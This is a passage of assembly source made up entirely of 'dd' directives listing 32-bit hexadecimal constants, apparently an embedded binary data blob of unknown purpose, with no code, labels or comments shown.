136100DCh, 0F98BB76h, 70000C34h, 0B1F64D89h, 7743B38Ch dd 0AB4E01BFh, 0A09908A1h, 814FF8AAh, 3B7F5700h, 18EC346Ah dd 39933853h, 14616000h, 3A3F1999h, 7A121D00h, 226C5CCCh dd 2E0F3F3Bh, 0F98BD0h, 89363293h, 6AFBB67Dh, 1D00F27Bh dd 691CFEC5h, 533E0Bh, 840229AEh, 20EB2FE9h, 0BA240500h dd 6655CF96h, 7EE071h, 0F8281680h, 32AD0F95h, 0A20788E6h dd 4A11FC4Ch, 0F0EC22A3h, 65FA9Eh, 826D7320h, 0BBD94474h dd 80C38700h, 33CD0FB9h, 47A6480Bh, 0AE8B1205h, 0E1FCC02Dh dd 240136B3h, 67B6CED7h, 5C0D20Ah, 9EFB00A3h, 7C22046h dd 0FF0EB292h, 0E0CE59C7h, 438D9FB6h, 0D8180332h, 0C28796C6h dd 5CDA4CD8h, 0DDCB2100h, 13C561E8h, 0A1AE0055h, 7A22F366h dd 0C0006A15h, 0AB339372h, 24E6FEh, 0AADCFA80h, 0AC356617h dd 75C8DF00h, 5D91E21Eh, 18CFCE8h, 0BED41925h, 0C48AFFCEh dd 7D02816Dh, 0B0FC4AD6h, 326DC0D7h, 57104B3h, 83B54053h dd 58E8D078h, 0E200999Bh, 75E7F2B8h, 0F533E384h, 392B3DCh dd 936543DFh, 27A037BCh, 0DE1F3498h, 0D4C1F94Ch, 0A0C81A3Ah dd 3D327170h, 2C803E52h, 6B742CFh, 0BC139A1Eh, 4500357Ah dd 0C7713976h, 0CF500028h, 68E82D8Fh, 0F4FDE663h, 0FB7B5A58h dd 0C0E34100h, 75DDB511h, 28C460C6h, 0B874543Ah, 9B13147Ah dd 9B00F395h, 0D52EE317h, 0FD0E0043h, 39714001h, 40FFC32h dd 63859502h, 0D8C8C791h, 3C629D12h, 7539E34Fh, 67103187h dd 0BA66D022h, 9C0044B6h, 0BC8F659Eh, 13766B71h, 8C6055h dd 2281B4F4h, 0D0005D38h, 440797A1h, 50F33Ah, 569885C5h dd 0D5E3CA1Fh, 5801D372h, 0E010B253h, 0EAD02A54h, 90CFE02Eh dd 0BA2F0870h, 151FF8F0h, 3AE524Bh, 0D8F79760h, 1BF7D8Dh dd 0F1714582h, 0FCFF67CDh, 0A509F611h, 99A26Bh, 0D278B670h dd 504F5CD9h, 21CFBD00h, 0FB8A063Bh, 32B25700h, 444D7FD8h dd 0EEA93CE8h, 0FF780B76h, 0E3034AF4h, 7F8671Fh, 0C9032873h dd 3DFA2E72h, 7B60D840h, 7DCB000Dh, 0BAC17FD7h, 0ED00CF36h dd 55F80629h, 0D131E6h, 0BB9AFC45h, 277BEC28h, 2D752B0Eh dd 0DECB2050h, 27D209D6h, 0D9C00F1Fh, 9300AFE4h, 6206A337h dd 5CC0591Ch, 0F304598Ah, 80265E21h, 7BC61873h, 0A74D5C00h dd 827E6EE7h, 0DE91001Dh, 0EEB9608Ch, 6B7F9678h, 0B8C08300h dd 7931BCF0h, 5B350AA9h, 0D991CEh, 50880877h, 5000389h dd 0C232E85Eh, 0F07A63h, 13075CB2h, 707B28EEh, 5A4F2900h dd 0F099D1Ch, 7F7758F0h, 72C81375h, 0D8D802D7h, 8A8905CFh dd 45A5EC83h, 0DFBBCD80h, 0C9032F4h, 69C80900h, 0B20FBF1h dd 0DBF90029h, 30049FBEh, 0EC0B9C78h, 80D580F5h, 0C85B5349h dd 792ECCAh, 5216A560h, 573799h, 364DDE37h, 4A4FD601h dd 0CFA9D206h, 0ED0AD31h, 0BDFC03D5h, 0A2076942h, 62B778C0h dd 3DE863Dh, 0F7F9873Bh, 7CE8F06Fh, 66303B0Ch, 0D4D6EF94h dd 52C617h, 1F0B892Ch, 0E9001AB2h, 0B34A8D94h, 1D5EC10Ah dd 31D02Dh, 5AF672D2h, 230F353Dh, 971A97F9h, 0EB8C1B05h dd 825CA980h, 0DCA401E8h, 6E9B4CE6h, 2022612Dh, 3E03C2D9h dd 0F5FFF0C0h, 0E4A2C0B5h, 2583004Eh, 13014508h, 470042EDh dd 4997227h, 3A50D937h, 0F4000221h, 0ED82E286h, 6008094h dd 0EFFE0839h, 2C62B803h, 9F95B99h, 0D480836Bh, 3A4C64D1h dd 7DB2F200h, 0ED8DE53h, 6AF83F48h, 0EA70FD00h, 6BCA550h dd 61166900h, 0EF0C91F1h, 5C2E0085h, 76AB374Bh, 0E500C51Ch dd 0CA5AED93h, 18B53272h, 4802C4AFh, 0B8000AEBh, 814D6FB6h dd 0FA258E3h, 47E0234Fh, 0D395F5A3h, 38F965C0h, 7A074890h dd 0B4EF0185h, 0E8972B0h, 0FAE7F34h, 7C9F322Ch, 80291A25h dd 552A8A84h, 4F12402h, 0C0196E8Dh, 38515318h, 0E43E166Bh dd 0F3DD3CF8h, 66D2AE80h, 0D00D6D21h, 5001F2F0h, 8AC0559h dd 0FE34353Ch, 0A1270055h, 0F70646FEh, 54076A4Bh, 7EF06F15h dd 525B86E0h, 0C60016Bh, 7AFDE040h, 0CBD56022h, 3412F500h dd 33DC8DD7h, 265002Eh, 0DA257301h, 0F10218FBh, 3166AAA8h dd 0BB706020h, 4E3F00BAh, 2356960Bh, 601989Ah, 0A954ABCCh dd 69F1CFCBh, 0EF0F9F8h, 0EBF40952h, 46578340h, 0DA075594h dd 0AD459C67h, 0B0DD4310h, 6FAF0304h, 774C58B8h, 9CA44085h dd 0F1678091h, 6A34091Dh, 4913BE40h, 3560E98h, 9AA7FCC7h dd 0C3A07E77h, 0F400FA2Ch, 724E53Ch, 0DB8254h, 7CE2926Bh dd 12D8581Bh, 0AFB41700h, 63ED85FDh, 7E07CABh, 8E95C005h dd 73609EFEh, 0EC218D97h, 1A56451Fh, 0E9B32E80h, 0EE92E7h dd 79DC31D8h, 0D938442Ah, 0FBC6561Ch, 6E463F00h, 0B7E1EFh dd 9F0869DDh, 2CE2C818h, 1FDFEA00h, 4CC99C8Dh, 0FC3A003Eh dd 0CFF36112h, 24B0A2B4h, 0B168AC00h, 0BF8A0FE3h, 434F00D1h dd 8D27F84Ah, 0B7008FFEh, 0F2A8D39Dh, 0F77AC2h, 10BA2938h dd 0E2430541h, 274E9B09h, 2E858633h, 11127A10h, 0E4F650h dd 9D842AA5h, 3D75A1F7h, 93170ED6h, 0FFF40023h, 76D12006h dd 0E96F7400h, 3DE3C55Dh, 0AE8F0072h, 0A78E7E39h, 0B9008244h dd 0B477479Ah, 0C131EBh, 0A98D374Dh, 2A6E0D62h, 26E3A100h dd 78987A34h, 209109A3h, 3000FEDDh, 618F5C9Ch, 0C0002477h dd 8D4D10F4h, 0F23F3Ah, 746F6E43h, 0A9097C1Eh, 78836303h dd 0D8C0C77Ah, 0BEB9E9h, 77EE8853h, 8416F7F0h, 6F620F00h dd 0BCF2F573h, 0DC0D0907h, 287CE6A2h, 0B52A9D00h, 8B7C91h dd 0E3E99B17h, 3FB9CF9Fh, 0AA3A601h, 76051E67h, 72ABD6E4h dd 278A7h, 5C7153EBh, 469CA6D8h, 12006D78h, 7A737DA4h dd 3DFDEBECh, 4D9E9E05h, 3D49C403h, 2982AAFFh, 315DC06Fh dd 180D0170h, 0ACA35E42h, 0BF93DCF5h, 69809000h, 0CC56955Bh dd 23FF00A4h, 0AD576365h, 282545E0h, 2A88006Ah, 0F1FD04h dd 99B3658Eh, 415DED2Bh, 0F388911Dh, 0D1FA8142h, 0A344E620h dd 0B1C1A820h, 40252E53h, 2F270072h, 22BC355Eh, 0A5C1B00h dd 0F45DC564h, 0FD160BD8h, 4882E548h, 38E027E3h, 7100CE51h dd 89391012h, 1053729h dd 29804B1h, 2C35CDC6h, 0E097034Ch, 0F80EB308h, 0FBEF1Eh dd 83DBD950h, 24DF9BAFh, 23A388A0h, 13B25F00h, 495B31EAh dd 504C395Eh, 40B1289Fh, 83ED65D4h, 0E898E801h, 0ACB38D00h dd 0A99A4ED9h, 3FECEF6Ah, 0D6AE3A7Bh, 0D36B1500h, 0C5E77848h dd 318BF401h, 0F8E5C2E8h, 10814F8h, 22879CCCh, 0F426B6D7h dd 190196B0h, 3BE77D5h, 0DED0C417h, 4B930007h, 2CECAC6Fh dd 0A80E6DE7h, 64F1AFE6h, 0D8C0889Ah, 0B7A59646h, 0C209CBF0h dd 0A0832107h, 0AF5BABD4h, 38DC7E66h, 74FD6781h, 0DF730016h dd 2C10C698h, 11900B24h, 7D2DEA04h, 7F8794E8h, 1414800Bh dd 99259517h, 992F03D8h, 1CC6F5A5h, 0FACEBA07h, 0EAE321F1h dd 6788D07Ch, 0C0E00063h, 0F616339Fh, 0A609E12Fh, 7DED1D94h dd 0E50049F8h, 80BBC6Ah, 16C3E54h, 0C12F26Bh, 0CEFB83AFh dd 0C69CE860h, 9DEFF903h, 0A8115BA8h, 3DF93h, 90EE0257h dd 778CFFB8h, 0AFD0D160h, 0AEBD768h, 0B78D34E0h, 80D215A8h dd 2AFA6100h, 0A5E32FCBh, 344F7F00h, 0C412D7BFh, 66FEB0h dd 0F58B1E63h, 0F6A4EA4Dh, 2C086500h, 7ABA586Dh, 4A9B000Ah dd 0FF4FEDE2h, 0F4962259h, 0F1DA80BAh, 0EFC0C6B2h, 0AB3D0061h dd 381DAD13h, 7100F07Fh, 4FEE6479h, 7D9D05h, 0B7FDA3D5h dd 0A63C1DE7h, 33F07300h, 0AAB93408h, 362E140Fh, 67F8FBBh dd 0FF874D04h, 55E840A6h, 0A9B6200h, 76265F9Eh, 6C3F09ACh dd 88010121h, 0C84B599Dh, 74002ED8h, 83B10B56h, 108EA8h dd 9FCF94A9h, 2E2848E0h, 87004374h, 80893B7Eh, 84815Ah dd 1E77F04Ch, 0CAEC46FAh, 0CB26F4F4h, 9D0082C0h, 2519E1Ah dd 3DDB00EAh, 6F778D6Ah, 0C23C2BB9h, 0F132878Ah, 0F9C0A88Fh dd 0B59C72h, 74B34F22h, 642EFAD5h, 0BCA18C00h, 5C77CCFCh dd 0CD8B00F9h, 7B5D23B7h, 0A800183Dh, 0A9F5E865h, 19D5962Dh dd 0CEC1E555h, 1AA6FC1Ch, 679EA700h, 3DFE32ADh, 0C4D0007h dd 4A4E6D85h, 9D003C90h, 0D829F8DFh, 90B554A7h, 24CC00E8h dd 71226121h, 6EE44519h, 7668BB00h, 0E02AA83Ah, 0FA993038h dd 0C4597FA4h, 0EF55100h, 340CF910h, 1E65008Ah, 6BD7CE33h dd 0E7007D74h, 67B4BBC8h, 0F2945B39h, 8F2E00F8h, 0A40E1A1Dh dd 0ED00C7C9h, 0AEB607C4h, 5CF232E8h, 7F3A908Dh, 0FFBF4600h dd 3D60055Bh, 2F35311Dh, 4957BA00h, 98A0CC91h, 53FC2Ch dd 0E5CD85CEh, 6B3211AAh, 41F4B054h, 336F2601h, 0D653921Ah dd 49F973C4h, 84040CB5h, 0C32D6ECBh, 9F912F13h, 7EEC404Bh dd 0B90BA350h, 10DEA37h, 824956A0h, 65C18028h, 0D8FF64CDh dd 0EF07E254h, 0DA2403AEh, 0D5FE7750h, 6FDD189Ch, 2EA64063h dd 99BBB400h, 4FAF5471h, 0DBE418A5h, 2F32C0B6h, 0A4475703h dd 707693Dh, 37F0C4B8h, 23CF093h, 2F00306Eh, 0BF8D7EFFh dd 0F9745E4h, 6468C015h, 0A79842A0h, 6560CFB4h, 90E61350h dd 93E90052h, 4071397Ch, 0C600CE46h, 0AF4CDE4Ah, 7C69D825h dd 1DCC0090h, 56D706FCh, 47391C8Fh, 4E1A412h, 0A12A630Eh dd 11C93FFFh, 0BBA48FCh, 1C0279C7h, 0E2241480h, 0AA000C97h dd 0D0452FA0h, 9E3C6Bh, 916A89D2h, 3F14AD99h, 29C7F400h dd 68DB5665h, 0FC6C7771h, 0B03800CDh, 48910B2Eh, 43E8F8C2h dd 0ABEF3F01h, 0F96EF581h, 3C6E30h, 8271A825h, 93197DE4h dd 42E9291Eh, 0CA308540h, 79D6987h, 0AF1F1422h, 0D03F048h dd 92012BEBh, 0FC1E8E75h, 9042AEE3h, 13808004h, 4EE20FF6h dd 0EA3C007Dh, 3911B833h, 0E340AF00h, 0CA55AA02h, 6E830373h dd 2F174F2Eh, 0DA3A0B0h, 1EB57600h, 47AF50D7h, 82E0BEh dd 61F03EF1h, 0B76B978Eh, 607F4E00h, 0C6109F99h, 0C7CC1EEAh dd 0AC064096h, 834F37B8h, 6AD37E13h, 95C5E41Eh, 0A3802513h dd 0FCF76FDEh, 0BB071C10h, 0D8DB079Bh, 0C99FC033h, 30EF090Ch dd 0FC1EE7CCh, 0E1000801h, 0B83585B7h, 0C8BD1FF9h, 964E81D7h dd 300CD064h, 3C3A24A4h, 6E4B001Eh, 1D83D82Fh, 705C00C3h dd 686ABDADh, 170EFB21h, 20AE350Ah, 74EF7E19h, 80691F9Bh dd 10970002h, 0B1E46D25h, 0F1A43Eh, 4FFD0E30h, 78248ECh dd 4362C1F5h, 8339D133h, 0CCE6FC42h, 0B00417Eh, 0D0A8DD81h dd 85DCC9h, 959A2FBAh, 836E1D42h, 0AAD42300h, 17487672h dd 7280771h, 0E7C1A2F7h, 0CD406045h, 151D86E3h, 0B200BB51h dd 0A065AC39h, 6540048h, 1760DFB4h, 0C4003BF1h, 1CF24E40h dd 7FAEB3E8h, 86D0EA8h, 0C3C024F0h, 0F23810ADh, 0A1899201h dd 90674785h, 2043C0CBh, 0CDF0167Ch, 28680094h, 4579ACE9h dd 86F24B0Fh, 0C33616Bh, 0F0C8B9FFh, 0C30185F8h, 687D97C2h dd 0BFF0F8D3h, 596D00C9h, 0E3D840E8h, 9501AD23h, 0BBB8BE32h dd 94E0242Ah, 0B53F0782h, 0C0E8E6A0h, 95B37BA6h, 0B71DC700h dd 858DE0AEh, 1AF500D4h, 0F89B09FAh, 0AD1CB9CCh, 5DC0146Fh dd 60B1E6B6h, 341200F4h, 119203C7h, 42035844h, 0CB40C162h dd 0B6F0C11Fh, 72041028h, 0C0CFBD0Bh, 0F4C05654h, 3C51E4FDh dd 6AD7CD03h, 0D8B222ACh, 1FBCBA97h, 0BC460F96h, 408B239Eh dd 13E70CAh, 0F20E4294h, 0B6964AADh, 5EAB6500h, 0EAC5A56Ch dd 1FCD3912h, 0C621FE87h, 112F3085h, 9F00527Fh, 79B9B099h dd 786630h, 0E87C4DC7h, 0D782802Bh, 0DD005D70h, 0A25A278Eh dd 794269A0h, 80990073h, 7D48A72Ah, 920B72ADh, 0D29627h dd 68CFDC36h, 198601C5h, 0DBB0BD9Fh, 7A95F4A7h, 76935501h dd 3C28DFF6h, 0A8CBF8h, 0CF23B851h, 7BE9D512h, 4400917Dh dd 68038FF4h, 0E2EDADFBh, 949F00F2h, 0C06F3241h, 0D40F271Dh dd 0A0936564h, 0BC3E43E6h, 0CFE279Ah, 0A8C4009Dh, 0BD7CC164h dd 299330B1h, 0D22B360Ah, 0D91CE858h, 0F2E0A64Ah, 0E694D800h dd 0B052BAB3h, 0A9541F64h, 21ED40ACh, 8D3878E2h, 0EF879EBh dd 0E0A17692h, 0B2751799h, 0B5713A2Eh, 68451680h, 3E94DC5Dh dd 4C606700h, 6CB4EC07h, 127CF5h, 7ED7B8E1h, 6B61F83Ah dd 4B00987Dh, 119CB0F4h, 12755Fh, 23E98252h, 4E34B795h dd 5538B500h, 0E43C5ECBh, 2F877173h, 75D619A9h, 538A6C00h dd 9BBDE3Fh, 0E6115FCFh, 95819B00h, 15383D2Ah, 7DC889C4h dd 0E8080FCh, 1211ACAh, 0F39BA835h, 0E4D55EC5h, 98000F9Dh dd 642763FAh, 90380788h, 111300E8h, 53473934h, 0A0005823h dd 489AC42Dh, 0E87414B9h, 0B73B00F5h, 82EA8C19h, 471D1260h dd 9C1E8494h, 0F9593FC7h, 8A1F49E0h, 1D970031h, 0AFF2411h dd 8607EA84h, 0BCC7023h, 0F4279DF0h, 15303C4Eh, 80B84D2Eh dd 0A3C6FC66h, 0F600D4B0h, 0AB023DF5h, 5D9E6Ch, 0F7311C7Ah dd 0E574C47Ch, 4D005CF6h, 0A2A1DD37h, 0FB3C62h, 0FDE7EEB4h dd 0DA29D744h, 89D88F00h, 87AE7D14h, 0DC4A00F3h, 0A7CF3A34h dd 0C000B41h, 0D9857F45h, 0D28A53h, 2820EF3Eh, 0BC292CB4h dd 0D169C00h, 6896C1A4h, 20C076Ch, 0FC010D3h, 5782E08Bh dd 9EE0BA13h, 7002CA5h, 8D4905E2h, 10128C1h, 0CE59169Eh dd 0CCBE4576h, 9300482Eh, 5C3A4E4Dh, 3B27549Ch, 1C003CACh dd 98871FE5h, 8D002B13h, 0EA39ED64h, 0A58010h, 9F7ACC73h dd 70F97C51h, 2C759300h, 5B017D6Eh, 1997A9Ch, 8306A1D7h dd 7CE5A3DFh, 90470058h, 5527652Fh, 778E0087h, 0AEFAD742h dd 1E0012A7h, 0BED04947h, 0F4611D1Ch, 0D2300ECh, 0AE370F04h dd 0E200DD0Ch, 0DFE88452h, 56B56Ah, 0BCED2902h, 4B477DC5h dd 835A3C00h, 1DE54958h dd 0C2B30794h, 90D0651Bh, 34A41E5Dh, 16E64A00h, 9AA9246h dd 0B8C23EE0h, 0C383A33Ch, 0D267BC5Eh, 56E72CABh, 360772BEh dd 5BAD41A4h, 0F0883AB1h, 71324D8h, 0D33E580Ah, 7CC77051h dd 44000E26h, 5596B0CDh, 3742E760h, 35E06C5Bh, 785FC07Fh dd 0AB00C78Ch, 11EFCA59h, 15AE4E0h, 3B6F2589h, 0F0C85D92h dd 0B5005CF5h, 19545672h, 0CCB95Fh, 8B859862h, 4F76C3F7h dd 528D0E0Fh, 4A33607Fh, 7A2E1AAh, 0F7CA6044h, 7FCE37ECh dd 7370DE61h, 0E8D68111h, 87F5B6C6h, 805ECh, 0DD1F82BEh dd 29636104h, 14E33400h, 0CA73C2BBh, 4E810056h, 0ABE9FAF1h dd 0FB00582Fh, 0E3E7E1B7h, 2902044h, 0B0A4C91Dh, 6BC0F439h dd 84048A5Dh, 0AFE39F2Ch, 0D81EEFC3h, 0F8C3B49h, 9377FE24h dd 0E7E21D60h, 990B45B3h, 0AC968Ah, 2FE80C84h, 931A3916h dd 2B803CD8h, 2715EB5h, 0A26BA600h, 823B8065h, 0E22D001Dh dd 0EA7E472Ch, 0A07E76Ch, 0EF53B2ABh, 3443EEE0h, 2DA6173Ch dd 0FF7C2001h, 0C83CE5EBh, 9B007FC0h, 8DC4F405h, 0F4DD80DEh dd 45A100CEh, 315A54A6h, 0B00E5B9h, 0D968E889h, 0C4F63CDBh dd 0ACD201A8h, 0E5FF00C4h, 0A3B04861h, 322E07F2h, 6B2471D5h dd 0CFA44503h, 0A6C81CD3h, 0C00052A2h, 6A692BFEh, 4C2A0674h dd 7700CC81h, 3A43850h, 11190F8Dh, 0DB98CDCEh, 5EC4D7E0h dd 34D00AFDh, 0F1E54064h, 0E900B02Eh, 0A63D49D1h, 50140171h dd 10517424h, 60130783h, 3FEDC8C8h, 5C290023h, 42FCB995h dd 5200D97Dh, 0A719CFA6h, 5853276Eh, 0C062654Dh, 57E02082h dd 0C4B0A543h, 3E001871h, 303586EEh, 710BC0EFh, 2C62011Fh dd 0F2124016h, 6A3BC029h, 18A98A00h, 0EBF5E9B4h, 81AE1F71h dd 3EBC0089h, 4890DE55h, 0DACE0700h, 0E0954223h, 499A0EBAh dd 37649252h, 690FC038h, 7D58640Dh, 0CCF90367h, 0A08ADFE6h dd 98ED3973h, 7FFB0F5Fh, 0F20098C6h, 20F62651h, 0BE88FA00h dd 7D85B23Eh, 99C21492h, 758C12h, 49A09C0Ah, 0DD04ACFFh dd 0E97E5B1Eh, 0C9120F00h, 7FDCBF93h, 14F4A04Ah, 9FF81E17h dd 40089891h, 0E758B1A8h, 55B00020h, 2E3F9933h, 8B7F159Dh dd 343DE806h, 300D9E98h, 0EB044CAFh, 0A31D85EAh, 0F34EEC80h dd 0E710770h, 0F07F143Ch, 0E8F2B733h, 7C4AD205h, 0E0030F2Dh dd 95D9E112h, 0A82354C7h, 41790040h, 6AF5118Dh, 3100D94Ah dd 1FF8BFC6h, 0F29B433h, 537B5663h, 772929Fh, 0E109E13Ch dd 0F483EB80h, 0B000E974h, 39F54E79h, 606B5CD7h, 0D87D58E4h dd 41FA6932h, 0ACD48700h, 1C393D6Ch, 0A0C4024Ah, 8E94EC35h dd 0C2123DDCh, 0ACD0A000h, 1C29ADh, 707439C1h, 9C969F7Ch dd 2477C20Ah, 67009C7Ah, 0E89330A3h, 6ABB04D4h, 856191A8h dd 0EBA001B0h, 87C05B9Ch, 0B76EEA18h, 0DDB66C20h, 920E05F2h dd 54F26h, 2552CE88h, 5F28DADFh, 7C008CE0h, 1946FECh, 0FC568F4h dd 0CD463C22h, 0FC12F240h, 0B4006179h, 9CCF962Dh, 17F1A36h dd 2BD91464h, 802320C4h, 0FD7565C8h, 7D194Bh, 3EEDE05Ch dd 30DBFF79h, 6712E603h, 8044AD76h, 5ECE7Ch, 0A1383D15h dd 31DDE1DFh, 0A6329A0Eh, 0C84400A7h, 0EDC70Ah, 0E94641D0h dd 1C3EB1DAh, 288F3235h, 44402D1Ch, 9B51383h, 75F14CC9h dd 0F01A23Bh, 2291E629h, 30803E89h, 0AB1DC8h, 7E9240D6h dd 91C7F43Dh, 0BBA78600h, 0E52130ADh, 0FAE3007Fh, 69E7D83Ch dd 7A014032h, 2C568545h, 782006A6h, 0D7D33D37h, 6BF202FAh dd 0D2EE79A4h, 38286548h, 65E2F800h, 0D08990B9h, 215900AEh dd 0B61FA7BAh, 7000A01Ah, 0FAD6F814h, 36C031h, 8193EDB1h dd 4F4DB4C8h, 0B2071B7Eh, 3ABFA7B8h, 0A91E0E20h, 8B7A0389h dd 501FA66Bh, 0F1E4BBF8h, 6E63450Fh, 93EE0D3h, 1884BAh dd 945E9D7Ah, 9B71C85Bh, 6BCDE401h, 54D1F874h, 0E5EA20h dd 9D81AD6Ah, 86477670h, 0FF1441Fh, 0CF9C78C0h, 0D17C8h dd 3608B0F8h, 5788E477h, 5DCC0B00h, 6E94A547h, 0AD81269Fh dd 40B21FC7h, 4CD72C46h, 0F1FCA58h, 32802FC7h, 0BFB17520h dd 88900003h, 0FEE6FAD9h, 0DB0EE1B8h, 612A0C49h, 0D45D8AF4h dd 4FAFC4h, 0BE8F5F06h, 105E0AF6h, 0FD1C1F00h, 0DC07FA24h dd 1E9E0086h, 3AC6BA27h, 0F674BDA9h, 1177ED00h, 1760704Fh dd 0C3CD3992h, 5AD41684h, 3EC7AACFh, 15AE7A70h, 0A90A6h dd 260541Bh, 130498EFh, 664B6800h, 3C9A3496h, 0BA8900F2h dd 561BFB16h, 0E007A16Bh, 0D68F0767h, 0CCDB72F0h, 93130746h dd 0F0E5E9F6h, 80B137CFh, 4A3DFF00h, 83256D9Fh, 0A98500BBh dd 48461038h, 0AD2CFCA7h, 4D005813h, 31E3EAABh, 949805CAh dd 399A6F8h, 2A1B34A8h, 0DCFE9691h, 93008E65h, 14D967E7h dd 1CB2E9C1h, 530C8DD6h, 1F01FB38h, 0FA187949h, 8568DCh dd 0D273CD29h, 0F7B2EAF0h, 0A4A20503h, 0A952D51Ch, 0C821927h dd 0A39965AAh, 2A9EA082h, 1705D282h, 238C8CE0h, 0A87C4D2Eh dd 7EF69A00h, 0EF789Eh, 59D488Eh, 8760A166h, 880081ECh dd 8CA9FD47h, 8A11A0h, 9B729EE1h, 8F61187Bh, 0F5623718h dd 392EC5D8h, 243DFC91h, 2213D680h, 4802DE95h, 0EB64C00h dd 5C5846DDh, 0C3E30021h, 94D3075Dh, 0AC002A37h, 0CF4C0854h dd 5EBCBEh, 9233FEBDh, 32C06964h, 80673539h, 109BDEABh dd 79A720Fh, 84F2A64Dh, 13E250E9h, 5D00DA6Dh, 0F0E312E8h dd 131434Eh, 96755B38h, 20568A08h, 0D501207Bh, 78031A6Eh dd 0C0DBA313h, 3CEE4Fh, 0BBDB6296h, 0F0014142h, 0DF006498h dd 8BD32D08h, 7FC44BBEh, 94C300CDh, 6E231A52h, 4E000D48h dd 0DA6B4CC2h, 385814BCh, 0D5800430h, 45A4ED69h, 70009B9Fh dd 6B641150h, 2414240Ah, 0F1FB77h, 0CFBEC3E1h, 74E2C8F0h dd 0FC5D2B00h, 5AF3C040h, 0F60E0061h, 0D57B4324h, 0B90360F2h dd 0EFFF4745h, 704E8857h, 0BFD00067h, 245135D7h, 5A00E8CAh dd 490B4627h, 2D2686Ch, 52A3EA34h, 60E01083h, 3001D139h dd 32D45C27h, 1ED47501h, 0D3BB0FFCh, 0F5C0D051h, 8BCA3FF0h dd 0E252F600h, 0F13ACF77h, 0C0A7007Ah, 2DDE67C8h, 2338AEF2h dd 863280B3h, 507DF96Fh, 6D7609EAh, 0BA00AC99h, 0B36924CDh dd 0DE45FA0Bh, 0B40C006Ah, 0B7944Ah, 1CEAB089h, 411D20B1h dd 2CA8BF26h, 25F98B80h, 0EC732B51h, 871F0044h, 3FD4ECC1h dd 6090E09Ah, 0FA71AC00h, 0E88B5847h, 767A90BCh, 886A00D2h dd 542E5C4Dh, 0E3901E21h, 0FFFEED00h, 0CD09F532h, 0E860FA9h dd 71DCB5Fh, 301B87D1h, 27026F5Dh, 2F0038F0h, 2EEF6A54h dd 806431h, 4386B894h, 0D7ACCA15h, 0F4BB6C00h, 7F6B753Bh dd 848004Fh, 0A5F3D6C0h, 3D00379Ah, 0DC24E154h, 2A9DFDh dd 69B8DF30h, 612B4707h, 3E518300h, 8773827Dh, 0FFDC07E3h dd 60C70818h, 504BCB42h, 447C3200h, 0EEA290F7h, 4C950051h dd 3661C94Fh, 0E848C487h, 1F0C01BFh, 20608D04h, 1CE2CCDCh dd 8A47CFh, 0E13E5688h, 2600468Ch, 0FA8459C0h, 260D70Bh dd 39B92E28h, 0FF404372h, 7B1EDCD0h, 0CDC05876h, 8C9B360Dh dd 6490F0h, 15BAA0B7h, 661B62DCh, 5DBB2D01h, 0EF5EECB2h dd 4D61D9E4h, 64003473h, 9326981Dh, 1800C02Dh, 0C263028Fh dd 0B858CC09h, 290B005Bh, 17CFCEC4h, 0A00D287h, 45D148EFh dd 7B9B4734h, 0E0490007h, 0A1A905AFh, 7E01E921h, 1C186CB6h dd 2960C35Eh, 0EDC403BCh, 7C85DF46h, 96BE33A0h, 9731C100h dd 937E3ABBh dd 730107FAh, 0D07A0D9Bh, 2268482h, 7D861B07h, 0C6515263h dd 0E0874F36h, 0F085542Ah, 8EFCDD91h, 96409400h, 7339F2BEh dd 5BAD03E9h, 0F50874F0h, 7B12AFF8h, 0D1E21E1Fh, 83EA5140h dd 0C67F7Ch, 0B34278B8h, 94E5842Fh, 0DA2CF400h, 0FCC28C85h dd 76550030h, 97733F78h, 6560EA5Dh, 0DA7CE710h, 756905C7h dd 0C00CD03Eh, 1CF260A0h, 0A0AD6C09h, 932680D2h, 12F6E623h dd 42AC7DFh, 807E5407h, 0F424DA57h, 880D5307h, 0EA326F71h dd 7AE2804Bh, 5721ADh, 41C15566h, 0BFC0D0CBh, 1706A93Eh dd 0CC0138FDh, 5D4ED167h, 0A4E46EC1h, 1B720049h, 0E34B3D27h dd 0D034A41h, 10DAB1D6h, 762FA0EDh, 9BF4D8h, 0CD566821h dd 0A5FB982Ch, 6DEB40Fh, 0D38AE072h, 0CEDB42h, 2C96655Ch dd 111E558Dh, 0DFAE7600h, 976D43C1h, 87D70015h, 74440972h dd 5D00B00Dh, 492D81E7h, 539FA9Fh, 0A96A9E9Ah, 0A048D062h dd 0A30002C7h, 38BE23C5h, 3ED0D5ACh, 21659BEDh, 61B6804Ch dd 7F07CB95h, 7C2A188Ch, 0E2D5A3h, 2E966720h, 0D7DB23D2h dd 8BB50C00h, 9BB74066h, 9F5002EEh, 0BDF3CC97h, 56671048h dd 2C6BAD00h, 208F21A9h, 0C11500C5h, 132AE61Ch, 5000B667h dd 0AC468955h, 0F3BCF3Fh, 2C9F5226h, 8AE0838Eh, 6A3994C2h dd 7A3D0A07h, 0A7D28D0Bh, 76C0A14Fh, 0E1459B77h, 0AA8D0020h dd 0C7AE01FDh, 0C690BFDEh, 0E28BFCE9h, 813AB094h, 92D95CDDh dd 0F9809C3Bh, 0FF5636D8h, 9B008CA5h, 3CDCED2Ch, 806C0F5Eh dd 6F01694Dh, 45649493h, 18D8CFEAh, 309A1E89h, 4E017CF8h dd 20914752h, 0D9C0806Bh, 0E073427Ah, 0A19AE862h, 0E318DD8Ch dd 94CA5402h, 111CC0F1h, 0D0A98084h, 1AD9553Fh, 26441625h dd 3AFCF7h, 0A29DB566h, 0C3584Fh, 0BE627CB3h, 0D3C80AF5h dd 6D669B0Ch, 0DD2028h, 0B91BCA55h, 7AE6ADD2h, 0E01F8277h dd 77007F5Dh, 0AEEB70E5h, 689400CDh, 87C166B1h, 0F2004A67h dd 5D38F35Ch, 838189h, 239E160Bh, 47BE3C4Bh, 80C06A00h dd 888C77D1h, 1715007Ch, 297B1B70h, 0BF07BD08h, 822DB160h dd 18739390h, 8C68008Bh, 1519DEC1h, 11032F05h, 0CAB57CBh dd 0D0D0CB6Dh, 3C335h, 0A512A990h, 0ED41FDF6h, 44BA0901h dd 2031E551h, 98E792C8h, 7E4002Ch, 34B450F5h, 0CC07751Ah dd 8AF8F096h, 20543B50h, 6E4A00A2h, 0A2CD878h, 41007B51h dd 2DBEEC93h, 7361832h, 911AB962h, 4D451Eh, 6D3F76DBh dd 1F06AFBh, 0DE925900h, 0F2AFA75Fh, 0D60A2EC2h, 0F02879h dd 0DF14EA4Dh, 0E9445FDh, 39E6E700h, 0BFB3F011h, 87C00B1h dd 86CCED52h, 570034F6h, 0F58E43A1h, 25544C2h, 0F915EA9Fh dd 3EC0984Bh, 0E8E04651h, 63B18F00h, 1422CBB3h, 0B8CC00E1h dd 